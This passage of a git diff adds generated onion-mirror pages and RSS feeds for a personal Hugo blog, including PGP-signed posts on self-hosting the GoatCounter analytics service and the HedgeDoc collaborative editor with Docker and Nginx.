    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/gmail-cse/page/1/index.html b/public-onion/tags/gmail-cse/page/1/index.html new file mode 100644 index 0000000..4d21143 --- /dev/null +++ b/public-onion/tags/gmail-cse/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/gmail-cse/ + + + + + + diff --git a/public-onion/tags/goatcounter/index.html b/public-onion/tags/goatcounter/index.html new file mode 100644 index 0000000..f54bd59 --- /dev/null +++ b/public-onion/tags/goatcounter/index.html @@ -0,0 +1,352 @@ + + + + + + + +GoatCounter | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/goatcounter/index.xml b/public-onion/tags/goatcounter/index.xml new file mode 100644 index 0000000..4a2f364 --- /dev/null +++ b/public-onion/tags/goatcounter/index.xml @@ -0,0 +1,355 @@ + + + + GoatCounter on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/goatcounter/ + Recent content in GoatCounter on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 18 Oct 2025 10:45:00 +0000 + + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/goatcounter/page/1/index.html b/public-onion/tags/goatcounter/page/1/index.html new file mode 100644 index 0000000..d3fd2ce --- /dev/null +++ b/public-onion/tags/goatcounter/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/goatcounter/ + + + + + + diff --git a/public-onion/tags/hedgedoc/index.html b/public-onion/tags/hedgedoc/index.html new file mode 100644 index 0000000..80c7140 --- /dev/null +++ b/public-onion/tags/hedgedoc/index.html @@ -0,0 +1,357 @@ + + + + + + + +Hedgedoc | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/hedgedoc/index.xml b/public-onion/tags/hedgedoc/index.xml new file mode 100644 index 0000000..07c06dc --- /dev/null +++ b/public-onion/tags/hedgedoc/index.xml @@ -0,0 +1,183 @@ + + + + Hedgedoc on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/ + Recent content in Hedgedoc on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 29 Aug 2025 00:00:00 +0000 + + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    +
    +
